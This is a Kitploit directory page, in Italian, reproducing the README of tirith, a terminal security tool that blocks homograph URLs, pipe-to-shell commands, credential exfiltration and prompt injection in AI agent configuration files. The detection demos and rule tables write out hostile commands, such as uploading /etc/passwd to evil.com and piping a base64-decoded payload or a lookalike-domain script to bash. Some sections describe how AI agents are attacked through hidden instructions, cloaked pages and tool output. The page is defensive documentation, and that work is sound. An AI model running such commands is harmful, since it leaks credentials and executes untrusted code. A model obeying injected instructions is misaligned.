Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
tirith — Sicurezza del terminale per sviluppatori e agenti AI. Intercetta URL omografi, pipe-to-shell, iniezione ANSI, payload offuscati, esfiltrazione di dati e competenze/configurazioni AI dannose prima che vengano eseguiti. | Kitploit
Strumenti/GitHubGitHub/sheeki03/tirith
OSINT (Open Source Intelligence)Strumenti di PhishingScanner di VulnerabilitàEsfiltrazione DatiAnalisi MalwareDevSecOpsRilevamento SegretiThreat IntelligenceSicurezza della Supply ChainApprendimento e FormazioneRisorse CurateTop in OSINT (Open Source Intelligence) n.19
2.7k907 giorni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubsheeki03/tirith

tirith

Sicurezza del terminale per sviluppatori e agenti AI. Intercetta URL omografi, pipe-to-shell, iniezione ANSI, payload offuscati, esfiltrazione di dati e competenze/configurazioni AI dannose prima che vengano eseguiti.

Vedi RepositorySito web

tirith

Il tuo browser lo capterebbe. Il tuo terminale no.

tirith, sicurezza nel terminale

CI GitHub Stars License: AGPL-3.0

Sito web | Documentazione | SKILL.md | Registro modifiche

Programma OSS di Vercel

Progetto open-source indipendente, con hosting supportato dal Programma Open Source di Vercel (Cohort Primavera 2026).


Riesci a notare la differenza?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised

root@kitploit:~
Non puoi. Nemmeno il tuo terminale. Entrambi i caratteri `і` sono cirillici (U+0456), non latini `i`. Il secondo URL porta al server di un attaccante. Lo script viene eseguito prima che te ne accorga.

I browser hanno risolto questo problema anni fa. I terminali continuano a renderizzare Unicode, sequenze di escape ANSI e caratteri invisibili senza fare domande. Gli agenti AI eseguono comandi di shell e installano pacchetti senza controllare cosa contengono.

**Tirith si erge alla porta.** Intercetta comandi, contenuti incollati e file scansionati alla ricerca di URL omografi, payload offuscati, esfiltrazione di credenziali, skill/config AI malevoli e pacchetti/domini/IP noti come dannosi da un database firmato di intelligence sulle minacce prima che vengano eseguiti.```bash
brew install tirith

Quindi attiva nel tuo profilo di shell:```bash

zsh

eval "$(tirith init --shell zsh)"

bash

eval "$(tirith init --shell bash)"

fish

tirith init --shell fish | source

root@kitploit:~
> [!TIP]
> `eval "$(tirith init)"` rileva automaticamente la tua shell corrente (ispeziona il processo padre e ricade su `$SHELL` se necessario). Il flag esplicito `--shell` è richiesto solo quando vuoi sovrascrivere il rilevamento.

Questo è tutto. Ogni comando che esegui è ora protetto. Zero attrito su input puliti. Overhead sub-millisecondo. Te ne dimentichi finché non ti salva.

Disponibile anche tramite [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) e [altro](#install).

---

## Vedilo in azione

**Attacco omografo, bloccato prima dell'esecuzione:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

Il comando non viene mai eseguito.

Pipe-to-shell con clean URL, avvertito, non bloccato:``` $ curl -fsSL https://get.docker.com | sh

tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.

root@kitploit:~
Warning prints to stderr. Command still runs.

**Base64 decode-execute chain, blocked:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

Rileva catene di decodifica attraverso wrapper sudo/env e anche PowerShell -EncodedCommand.

Esfiltrazione di credenziali, bloccata:``` $ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server

root@kitploit:~
Covers all curl/wget upload flags, env vars (`$AWS_SECRET_ACCESS_KEY`), and command substitution.

**Malicious skill file, caught on scan:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Scansiona file JS/Python per payload offuscati, esecuzione dinamica di codice e pattern di esfiltrazione di segreti.

Comandi normali, invisibili:``` $ git status $ ls -la $ docker compose up -d

root@kitploit:~
Niente. Output zero. Hai dimenticato che tirith è in esecuzione.

---

## Cosa rileva

**221 regole di rilevamento in 34 categorie.**

| Categoria | Cosa blocca |
|-----------|-------------|
| **Attacchi omografi** | Caratteri cirillici/greci simili nei nomi host, domini punycode, etichette miste, TLD somiglianti, domini confondibili, rilevamento di confondibilità a livello testuale (alfanumerici matematici, script misti nella stessa parola) |
| **Iniezione terminale** | Sequenze di escape ANSI, override bidirezionali, caratteri a larghezza zero, tag Unicode, operatori matematici invisibili, selettori di variante, riempitivi Hangul |
| **Difesa dalla steganografia** | Codifica con spazi bianchi invisibili (12 varianti di spazio Unicode), Separatore vocale mongolo, caratteri riempitivi Hangul, sostituzione alfanumerica matematica, difese contro la steganografia testuale stile st3gg |
| **Pipe verso shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, ogni pattern sorgente-a-destinazione |
| **Decodifica Base64 ed esecuzione** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, catene di decodifica attraverso wrapper sudo/env |
| **Esfiltrazione dati** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, upload di variabili d'ambiente (`$AWS_SECRET_ACCESS_KEY`), esfiltrazione tramite sostituzione comando |
| **Scansione file di codice** | Payload offuscati (`eval(atob(...))`), esecuzione dinamica di codice (`exec(b64decode(...))`), esfiltrazione di segreti tramite `fetch`/`requests.post` in file JS/Python |
| **Rilevamento credenziali** | Chiavi AWS, PAT GitHub, token Stripe/Slack/SendGrid/Anthropic/GCP/npm, blocchi di chiavi private, rilevamento generico di segreti basato su entropia |
| **Comportamento post-compromissione** | Lettura della memoria di processo (`/proc/*/mem`), escalation di privilegi remota Docker, scansione di file di credenziali, calibrato sugli strumenti post-compromissione di TeamPCP e UNC1069 |
| **Sicurezza dei comandi** | Sovrascrittura di dotfile, estrazione di archivi verso percorsi sensibili, accesso a endpoint metadata cloud, accesso a reti private |
| **Trasporto insicuro** | HTTP semplice reindirizzato a shell, `curl -k`, verifica TLS disabilitata, URL accorciati che nascondono destinazioni |
| **Ambiente** | Hijacking proxy, export di variabili d'ambiente sensibili, iniezione di codice tramite env, hijacking interprete, iniezione shell tramite env |
| **Sicurezza file di configurazione** | Iniezione in configurazione, indicatori sospetti, Unicode non ASCII/invisibile nelle configurazioni, sicurezza server MCP (insicuro/non fidato/duplicato/permissivo) |
| **Minacce ecosistema** | Typosquat di cloni Git, registri Docker non fidati, installazioni pip/npm da URL, endpoint RPC web3, vet-non-configurato |
| **Sicurezza dei comandi di installazione** | Repository APT aggiunti da download via pipe, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (controlli firma disabilitati), `kubectl apply -f` verso manifest remoti non elaborati/accorciati, chart Helm da repository non fidati, moduli Terraform da sorgenti remote non fidate, `brew install`/`tap` da URL arbitrari |
| **Analisi dei percorsi** | Percorsi non ASCII, omoglifi nei percorsi, doppia codifica |
| **Contenuti renderizzati** | Contenuti CSS/colore nascosti, attributi HTML nascosti, analisi del contenuto dei commenti (iniezione prompt ad Alta, comandi distruttivi a Media) |
| **Rilevamento cloaking** | Cloaking lato server (bot vs browser), contenuti nascosti negli appunti, testo nascosto in PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, esclusioni Windows Defender (`Add-MpPreference -Exclusion*`), `iex (iwr ...)` inline download-esecuzione |
| **Difesa output terminale** | Scritture negli appunti OSC 52, prompt falsi, manipolazione hyperlink/titolo/cancellazione schermo OSC 8, iniezione prompt all'interno dell'output di comandi o strumenti MCP (scansionato sia raw che deoffuscato, quindi vengono rilevati anche caratteri invisibili, confondibili, spaziati, leetspeak e brevi evasioni base64/hex), ed esfiltrazione dati in output (URL beacon o direttive "leggi un segreto poi invialo") |
| **Contesto operativo** | Comandi distruttivi contro contesti cloud/k8s e host SSH etichettati come produzione, `apply` di Terraform / Pulumi / OpenTofu senza un piano salvato corrispondente, escalation sudo rischiosa, `docker run` privilegiato |
| **Workstation e persistenza** | File di credenziali con permessi lassi e token in chiaro (`~/.ssh`, `~/.aws`, `.npmrc`), punti di appoggio di persistenza (rc shell, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), ordinamento PATH-hijack, provenienza eseguibili, alias rischiosi e ciclo di vita delle variabili d'ambiente sensibili |
| **Raggio d'esplosione e correlazione** | Cancellazioni che escono dal repository, cancellazioni di massa, esecuzione di file scaricati da fonti rischiose e catene di sessione come scrittura-segreto poi rete o cancellazione poi `git push --force` |
| **Fiducia, attestazione e provenienza** | Discrepanza comando-firmato, tocco di honeytoken canarino, disallineamento fonte-invio paste, denial policy chiamante-origine (agente), deriva lockfile MCP e deriva AI-config rispetto a uno snapshot sicuro noto |

---

## Cosa non protegge tirith

Tirith analizza la **struttura** dei comandi, del testo incollato e dei file prima
che vengano eseguiti. È un gate di pre-esecuzione, non una difesa runtime, e non
copre:

- **Sandboxing runtime:** tirith avverte o blocca; non esegue sandboxing né isola
  un comando una volta eseguito.
- **Monitoraggio di rete post-esecuzione:** ciò che un processo fa sulla rete dopo
  l'avvio è fuori ambito.
- **Rilevamento malware / payload:** tirith analizza la struttura, non il
  comportamento del payload. Non è un antivirus e non esegue detonazione o
  corrispondenza di firme.
  (`tirith run` verifica la struttura di uno script scaricato, ma non è comunque
  analisi malware.)
- **Un attaccante privilegiato (root/admin):** chiunque sia già root o admin può
  bypassare tirith banalmente. Difende da input ingannati, non da un attaccante
  che possiede già la macchina.
- **Anti-debug / anti-manomissione:** tirith non resiste al reverse engineering
  né protegge il proprio binario da un attaccante locale.

Vedi [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md) per il modello di minaccia
completo e i non-obiettivi espliciti.

---

## Limitazioni note

- **Fragilità degli hook di shell:** la protezione dipende da un hook di shell
  che rimanga installato e attivo. Gli hook possono rompersi o degradarsi
  silenziosamente tra shell, versioni di shell, framework di prompt e strumenti
  di cronologia. Esegui `tirith doctor` per controllare lo stato live e
  monitorare degradazioni solo-avviso.
- **Funzionalità solo Unix:** la modalità demone, `tirith setup`, `tirith run` e
  `tirith fetch` sono oggi solo Unix.
- **Ambito di estrazione dei nomi dei pacchetti:** copre gli ecosistemi di
  linguaggi (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet,
  mvn/gradle), non i gestori di pacchetti delle distribuzioni (`apt`, `dnf`,
  `yum`, `pacman`).
- **Avvertenze per agenti AI:** l'intercettazione tramite hook di shell protegge
  solo i comandi che passano attraverso una shell interattiva con hook. Un
  agente che avvia una shell non interattiva, chiama direttamente `exec` o
  esegue senza l'hook caricato non è coperto. La protezione MCP è consultiva
  (l'agente deve chiamare gli strumenti MCP di tirith), non imposta.

---

## Intelligence sulle minacce

Tirith include un database locale di minacce firmato per la reputazione di
pacchetti, nomi host e IP. Quando un hook di shell o `tirith check` rileva
un'installazione di pacchetto o un riferimento a infrastruttura sospetta,
confronta quell'input con il database prima che il comando venga eseguito,
invece di affidarsi solo a euristiche statiche.

**Database firmato** (costruito quotidianamente tramite CI, verificato su
download e caricamento):

- Pacchetti noti come dannosi da [OpenSSF Malicious
  Packages](https://github.com/ossf/malicious-packages) e [Datadog Security
  Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Infrastruttura IP dannosa da [Feodo
  Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Typosquat confermati e baseline di pacchetti popolari da
  [ecosyste.ms](https://ecosyste.ms/)
- Catalogo [CISA Known Exploited
  Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
  per correlazione advisory runtime

**Feed supplementari opzionali** (sovrapposizione locale utente):

- [URLhaus](https://urlhaus.abuse.ch/) e
  [ThreatFox](https://threatfox.abuse.ch/) tramite una chiave auth abuse.ch
- Blocklist di [PhishTank](https://phishtank.org/) (Cisco Talos) e [Phishing
  Army](https://phishing.army/)
- Elenco dei nodi di uscita Tor da [Tor
  Project](https://www.torproject.org/)

**Arricchimento live opzionale** durante `tirith check` e modalità demone:

- Ricerche advisory su [OSV.dev](https://osv.dev/) (Google OSS)
- Segnali di salute dei pacchetti su [deps.dev](https://deps.dev/) (Google OSS)
  e dati dei manutentori da [ecosyste.ms](https://ecosyste.ms/)
- Reputazione URL di [Google Safe
  Browsing](https://safebrowsing.google.com/) con la tua chiave API personale```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

Per impostazione predefinita, gli hook della shell e tirith check attivano un controllo di aggiornamento economico in background ogni 24 ore. La modalità demone mantiene caldo lo stesso percorso di arricchimento in background.

threat-db explain accetta un dominio, un nome di pacchetto (name, ecosystem:name o name@version) o un indirizzo IPv4. Il binario non conserva alcuna cronologia per voce, quindi threat-db diff riporta i delta delle categorie e dei conteggi per fonte tra snapshot, non le voci esatte modificate. Ogni comando threat-db accetta --format json; threatdb è un alias.

Valutazione del rischio dei pacchetti

tirith package risk <ecosystem> <name> valuta il rischio della supply chain / del manutentore di un pacchetto nello stesso modo in cui tirith score valuta un URL, una somma deterministica e completamente spiegabile di fattori nominati, nessun modello e nessun peso appreso. tirith package explain <ecosystem> <name> aggiunge la derivazione fattore per fattore; entrambi accettano --format json.```bash tirith package risk npm react # 0/100, a known-popular package tirith package risk npm reqeusts # high, one edit from a popular name tirith package explain pypi flask # factor-by-factor derivation tirith package risk npm left-pad --path ./node_modules/left-pad tirith package risk --online npm react # also consult the registry API

root@kitploit:~
**Offline per impostazione predefinita.** Senza flag, ogni segnale è locale, senza chiamate di rete: (1) **nome vs. pacchetti popolari**: noto-popolare, sconosciuto, o un quasi-identico a una modifica di un nome popolare (la classica forma di typosquat/slopsquat), dal set `popular` del database locale delle minacce; (2) **typosquat malevolo noto**: una corrispondenza esatta nell'indice `typosquat` del DB delle minacce; (3) **script di installazione/ciclo di vita** e (4) **blob binari in bundle**, rilevati solo quando il contenuto del pacchetto è disponibile localmente (in `node_modules` / `site-packages`, o tramite `--path`). tirith **non scarica mai** il pacchetto.

**`--online` aggiunge la provenienza del registro.** Consulta il registro del pacchetto (npm, PyPI o crates.io) per sei ulteriori fattori nello *stesso* modello di somma dei fattori: età del pacchetto/versione, un pacchetto consolidato senza proprietari, un picco anomalo di versione, download molto bassi, un repository sorgente mancante e stato yanked/deprecato. È l'unico percorso che tocca la rete (mai il percorso caldo `check`); `--offline` / `TIRITH_OFFLINE` forza la modalità offline indipendentemente. I fallimenti ricadono sul punteggio offline con un onesto `api signals: unavailable`, e le risposte vengono memorizzate nella cache con un TTL in modo che le esecuzioni ripetute non sovraccarichino i registri.

Il punteggio è consultivo e autonomo: `package risk` non è una regola di rilevamento e non modifica alcun verdetto, codice di uscita o registro di audit.

### Scansione dell'ecosistema, firewall della supply chain

`tirith ecosystem scan [path]` è il compagno a livello di directory di `package risk`. Analizza un progetto, scopre ogni manifest delle dipendenze che comprende, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), e valuta **ogni dipendenza dichiarata** con lo stesso motore deterministico a fattori `package_risk`.```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

Integra il rilevamento dello slopsquatting. Slopsquatting è la registrazione di un nome plausibile ma falso che gli LLM tendono ad allucinare come dipendenza. ecosystem scan lo segnala solo quando tutti e tre sono veri: il nome non è noto come reale o popolare, ha la forma di un'allucinazione AI (un prefisso linguistico come python- / node- più token descrittivi, una pila di filler generici come helper / utils / client, o un nome insolitamente lungo), e si trova vicino a un nome popolare reale (un quasi-identico a una modifica, o incorpora un nome popolare come parola). Richiedere tutti e tre mantiene bassi i falsi positivi: un onesto data-utils senza un ancoraggio popolare non scatta.

Offline per impostazione predefinita, con opt-in --online. I segnali di nome e typosquatting provengono dal database locale delle minacce; --online aggiunge la provenienza del registro, regolata e degradata esattamente come package risk --online, mai sul percorso critico di check. I risultati fluiscono attraverso il normale modello Verdict/Finding di tirith: esplicabili (tirith explain --rule threat_suspicious_package), registrati nel log di audit e rispettosi dell'allowlist delle policy (un pacchetto in allowlist, per nome nudo o ecosystem:name, viene soppresso). I codici di uscita corrispondono a tirith scan: 1 per un risultato bloccante, 2 per consulenza, 0 quando pulito.

Questo aiuta a catturare pacchetti noti come dannosi, typosquat confermati, nomi di pacchetti slopsquattati, infrastrutture di download dannose e pacchetti con dati OSV / CISA KEV in tempo reale.

Famiglie di attacchi per cui tirith è stato progettato (illustrativo, non una rivendicazione di ciò che è attualmente rilevato dal codice):

L'estrazione dei nomi dei pacchetti attualmente copre gli ecosistemi linguistici (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), non i gestori di pacchetti a livello di distribuzione (apt / dnf / yum / pacman). Ecco perché xz-utils, che è entrato attraverso i tarball delle distribuzioni Linux, non è nella tabella nonostante sia stato un incidente di primo piano.


Sicurezza degli agenti AI

Tirith protegge gli agenti di codifica AI a ogni livello, dalle configurazioni che leggono ai comandi che eseguono.

Hook di shell, intercettazione passiva dei comandi

Quando gli agenti AI eseguono comandi shell (Claude Code, Codex, Cursor, ecc.), gli hook shell di tirith intercettano ogni comando prima che venga eseguito. Nessuna configurazione lato agente necessaria: se l'hook è attivo nella shell, tutti i comandi sono protetti:

  • Blocca comandi pericolosi: URL omografi, pipe-to-shell, download non sicuri
  • Blocca incollaggi dannosi: iniezione ANSI, attacchi bidi, multilinea nascosta in contenuto incollato
  • Funziona con ogni agente: qualsiasi strumento che genera una shell eredita la protezione di tirith
  • Zero modifiche all'agente: l'agente non sa che tirith esiste finché un comando non viene bloccato

Usa tirith setup <tool> per una configurazione con un solo comando (vedi Integrazioni Agenti AI).

Server MCP (7 strumenti)

Esegui tirith mcp-server o usa tirith setup <tool> --with-mcp per registrare tirith come server MCP. Gli agenti AI possono chiamare questi strumenti prima di agire:

Governance del server MCP

tirith mcp lock cattura ogni server MCP dichiarato da un repository, attraverso .mcp.json / mcp.json / mcp_settings.json e le varianti di configurazione IDE (.vscode/, .cursor/, .windsurf/, .cline/, .amazonq/, .continue/, .kiro/), in un file di lock deterministico in .tirith/mcp.lock. Ogni server è registrato con il suo trasporto (un URL remoto, o un comando locale + argomenti), strumenti dichiarati e un hash del contenuto; i server sono ordinati per nome in modo che il lockfile sia friendly per i diff. La scoperta è solo locale al repository e non tocca la rete. (tirith mcp è un gruppo di comandi separato da , che esegue tirith server MCP.)

tirith mcp verify è il compagno di controllo: ricostruisce l'inventario corrente rispetto al lockfile impegnato e esce con 1 in caso di deriva (0 corrispondenza, 2 per errori di utilizzo come un lockfile mancante). tirith mcp diff riporta la stessa deriva informativamente (esce sempre con 0, 2 solo per errori di utilizzo, in modo che un consumatore possa distinguere tra "nessuna deriva" e "impossibile controllare"). La deriva emerge anche attraverso tirith scan come mcp_server_drift (Media), così un hook pre-commit o CI rileva un cambiamento sulla superficie MCP come rileverebbe un'azione non pinzata. verify / diff non stampano mai valori di env o userinfo degli URL, solo i nomi di ciò che è cambiato.

Due campi di policy governano ciò che è accettato: scan.trusted_mcp_servers sopprime i risultati di configurazione di un server e silenzia la sua deriva, e scan.mcp_allowed_tools dichiara gli strumenti esatti che ogni server può esporre (uno strumento al di fuori di quel insieme genera un risultato Alto mcp_server_drift, e la deriva che aggiunge tale strumento migliora da Medio ad Alto). tirith mcp policy init prepara entrambi i blocchi dal lockfile corrente in .tirith/mcp-policy.yaml.example, ogni voce commentata in modo che l'importazione non allarghi mai silenziosamente la fiducia.

Scansione dei file di configurazione

tirith scan rileva iniezione di prompt e payload nascosti nei file di configurazione AI. Priorizza e scansiona oltre 50 pattern noti di file di configurazione AI:

  • .cursorrules, .windsurfrules, .clinerules, CLAUDE.md, copilot-instructions.md
  • .claude/ settings, agents, skills, plugins, rules
  • .cursor/, .vscode/, .windsurf/, .cline/, .continue/, .roo/, .codex/ configs
  • mcp.json, .mcp.json,

Cosa rileva nelle configurazioni:

  • Iniezione di prompt (trigger di attivazione delle skill, tentativi di bypass dei permessi, annullamento della sicurezza, riassegnazione dell'identità, istruzioni di override tra strumenti). Ogni file viene scansionato sia grezzo che deoffuscato (caratteri invisibili, confusabili, spaziatura tra caratteri, leetspeak, breve base64/hex), quindi un seed nascosto dietro la codifica scatta comunque
  • Unicode invisibile: caratteri a larghezza zero (incluso il Separatore di Vocali Mongole), controlli bidi, trattini morbidi, tag Unicode, riempitivi Hangul, codifica di spazi bianchi invisibili, confusabili matematici alfanumerici
  • Problemi di configurazione MCP: connessioni HTTP non sicure, server IP grezzi, metacaratteri shell negli argomenti, nomi di server duplicati, accesso wildcard agli strumenti

Scansione della supply-chain CI/repo

tirith scan ispeziona anche i file che un repo controlla per descrivere la propria pipeline di build e deploy. Rileva lo schema pericoloso, non lo strumento: un'azione pinzata con SHA, un'immagine pinzata con digest, un modulo Terraform locale e un normale package.json rimangono puliti.

Cosa rileva nei file CI/di infrastruttura:

  • Workflow di GitHub Actions (.github/workflows/*.yml), un riferimento uses: di un'azione pinzato a un ref mutabile (@v3, @main) invece di un commit SHA; il trigger pull_request_target; un curl … | bash pipe-to-shell in un passo run:; un valore ${{ github.event.* }} controllabile dall'attaccante interpolato in un passo shell run: (iniezione di script)
  • Dockerfile: un'immagine base FROM sul tag mutabile latest (o nessun tag) senza pin del digest @sha256:
  • Terraform (*.tf), un blocco proveniente da una posizione remota/non affidabile invece di un percorso locale o del Registry Terraform

Tre valori --profile integrati regolano la scansione: ci-hardening (ogni controllo a piena forza, fail-on high), ai-agent-repo (mantiene i risultati di iniezione, elimina il rumore di igiene del pinning di basso valore) e oss-maintainer (enfatizza il rischio controllabile dai contributori quando si esamina una modifica).```bash tirith scan ./ # scan the repo tirith scan --profile ci-hardening ./ # tune for CI/CD hardening tirith scan --format sarif ./ > out.sarif

root@kitploit:~
### Rilevamento di contenuti nascosti

Rileva contenuti invisibili agli esseri umani ma leggibili dall'IA in HTML, Markdown e PDF:

- **Nascondimento CSS**: `display:none`, `visibility:hidden`, `opacity:0`, `font-size:0`, posizionamento fuori schermo
- **Nascondimento tramite colore**: testo bianco su bianco, primo piano/sfondo simili (rapporto di contrasto < 1.5:1)
- **Commenti HTML/Markdown**: frasi di injection di prompt (Alto), comandi distruttivi come `rm -rf` o `curl|bash` (Medio), commenti lunghi che nascondono istruzioni (Basso)
- **Testo nascosto in PDF**: testo renderizzato a sub-pixel (font-size < 1px) invisibile ai lettori ma analizzabile dagli LLM

### Scansione di contenuti nascosti in file rilevanti per l'IA

`tirith scan` ispeziona anche i tipi di file che un agente di codifica IA (o un renderer) legge e su cui agisce, cercando contenuti **introdotti di nascosto oltre un revisore umano**. Un normale notebook, un ordinario `CLAUDE.md` con istruzioni visibili e una semplice immagine SVG rimangono puliti, si attivano solo contenuti nascosti / introdotti di nascosto.

- **Notebook Jupyter** (`*.ipynb`), caratteri invisibili / bidi / a larghezza zero nel sorgente della cella, un blob codificato in base64 incorporato nel sorgente, una cella nascosta dalla vista renderizzata (`metadata.jupyter.source_hidden` / un tag `hide_input`), e *output* di celle che trasportano caratteri invisibili o HTML attivo / nascosto
- **File di istruzioni per agenti IA** (`CLAUDE.md`, `AGENTS.md`, `.cursorrules` e simili), solo direttive *nascoste*: un'istruzione all'interno di un commento HTML (invisibile nel Markdown renderizzato) o un elemento HTML visivamente nascosto. Questi file contengono legittimamente istruzioni visibili, quindi le normali istruzioni visibili non si attivano mai
- **Immagini SVG** (`*.svg`), uno `<script>` incorporato, un gestore di eventi inline `on*`, un URI `javascript:`, un `xlink:href` / `href` remoto, o una dichiarazione di entità esterna XXE

### Rilevamento di cloaking

`tirith fetch` confronta le risposte del server tra 6 user-agent (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) per rilevare quando i server servono contenuti diversi ai bot IA rispetto ai browser.

---

## Contesto operativo e protezioni della workstation

Oltre ai singoli comandi, diversi gruppi di comandi estendono il gate al contesto operativo e allo stato della workstation. Quelli che toccano il percorso critico sono opt-in (un flag di policy); gli altri vengono eseguiti su richiesta.

**Contesto operativo** (`tirith context`, `ssh`, `iac`, `sudo`). Etichetta una volta i tuoi contesti cloud/Kubernetes di produzione e gli host SSH, e tirith gestisce ciò che conta: un comando distruttivo contro un contesto etichettato come produzione, una connessione SSH a un host etichettato come produzione, un `apply` di Terraform / Pulumi / OpenTofu senza un piano salvato corrispondente, o un'escalation sudo senza una finestra di sessione motivata. Le etichette risiedono in `~/.config/tirith/context-labels.yaml` e `ssh-host-labels.yaml` (o con ambito repository sotto `.tirith/`).

**Igiene della workstation** (`tirith hygiene`, `persistence`, `aliases`, `env`, `exec`, `path`, `hooks`). Scansiona file di credenziali con permessi troppo permissivi e token in chiaro (`~/.ssh`, `~/.aws`, `~/.kube`, `.npmrc`, `.pypirc`), confronta i punti di persistenza che un attaccante usa (shell rc, `authorized_keys`, crontab, unità LaunchAgents / systemd-user, git `core.hooksPath`), segnala alias che oscurano comandi critici o leggono credenziali, controlla `$PATH` per ordine di hijacking, e segnala la provenienza di un binario (proprietario del pacchetto, firma del codice, se oscura un comando di sistema).

**Raggio d'esplosione e isolamento** (`tirith preview`, `watch`, `temp-run`, `taint`, `intend`, `baseline`). Anteprima dell'impatto sul filesystem di un comando distruttivo prima di eseguirlo, confronta ciò che un comando ha effettivamente modificato dopo l'esecuzione, esegui un comando non fidato in una directory usa e getta, e tieni traccia dei file scaricati da fonti rischiose in modo che eseguirli successivamente generi un risultato. `temp-run` cambia solo la directory di lavoro; è isolamento di file, non un sandbox.

---

## Fiducia, attestazione e risposta agli incidenti

- **Attestazioni di comandi** (`tirith command-card`) firmano un comando noto come sicuro con una chiave ed25519; una scheda fidata che non corrisponde più al comando attiva un risultato Alto.
- **Manifesto dei comandi del repository** (`tirith commands`) è una lista bianca `.tirith/commands.yaml` che silenzia la nota di comando sconosciuto per i comandi approvati e aggiunge una lista `dangerous[]` solo per elevazione (può restringere un verdetto, mai indebolirlo).
- **Honeytoken** (`tirith canary`) piantano token canary chiaramente sintetici; un tocco in qualsiasi comando controllato, incolla o output di strumento attiva un risultato Alto. Il rilevamento è una ricerca in un archivio locale, non un abbinamento di forma.
- **Rotazione dei segreti** (`tirith secret`) legge i risultati recenti sulle credenziali dal tuo registro di audit e stampa i passaggi specifici del provider per ruotare/revocare per 11 provider. Non ruota mai nulla da solo e non effettua chiamate di rete.
- **Modalità incidente** (`tirith incident`) dichiara una postura "sotto attacco": forza `fail_mode: closed`, disabilita il bypass `TIRITH=0`, e eleva le regole di scansione delle credenziali, decodifica-esecuzione e binari sospetti finché non la interrompi.

---

## Sicurezza di output, incolla e condivisione

- **Difesa della direzione dell'output** (`tirith view`, `tirith output`, `gateway run --filter-output`, `mcp-server --sanitize-tool-output`) neutralizza le sequenze di escape di inganno del terminale nell'output di comandi e strumenti MCP: scritture negli appunti OSC 52, falsi prompt, disallineamento degli hyperlink OSC 8 e manipolazione del titolo / pulizia schermo. Scansiona anche l'output per injection di prompt (grezzi e deoffuscati) e beacon di esfiltrazione dati. Aggiungi semi personalizzati con `injection_seeds_custom` e scegli di oscurare un blocco MCP solo con injection a un avviso (invece di bloccare l'intero output) con `mcp_redact_injection`.
- **Oscuramento sensibile al pubblico** (`tirith share`, `tirith redact`, `tirith logs`) rimuove segreti e ID cliente/tenant prima di incollare in una issue GitHub, Slack, un LLM o un paste pubblico.
- **Provenienza dell'incolla** (`tirith paste --with-source`, `tirith browser`). Con l'host di messaggistica nativa Chrome companion installato, tirith attribuisce un comando incollato alla sua pagina di origine e segnala un incolla il cui host di origine differisce da dove il comando viene eseguito.

---

## Installazione

### macOS

**Homebrew:**```bash
brew install tirith

Pacchetti Linux

Debian / Ubuntu (.deb):

Scarica da GitHub Releases, quindi:```bash sudo dpkg -i tirith_*_amd64.deb

root@kitploit:~
**Fedora / RHEL / CentOS 9+ (.rpm):**

Scarica da [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), quindi:```bash
sudo dnf install ./tirith-*.rpm

Arch Linux (AUR):```bash yay -S tirith

or: paru -S tirith

root@kitploit:~
**Nix:**```bash
nix profile install nixpkgs#tirith              # from nixpkgs
nix profile install github:sheeki03/tirith      # from upstream flake
# or try without installing: nix run github:sheeki03/tirith -- --version

Android (Termux)

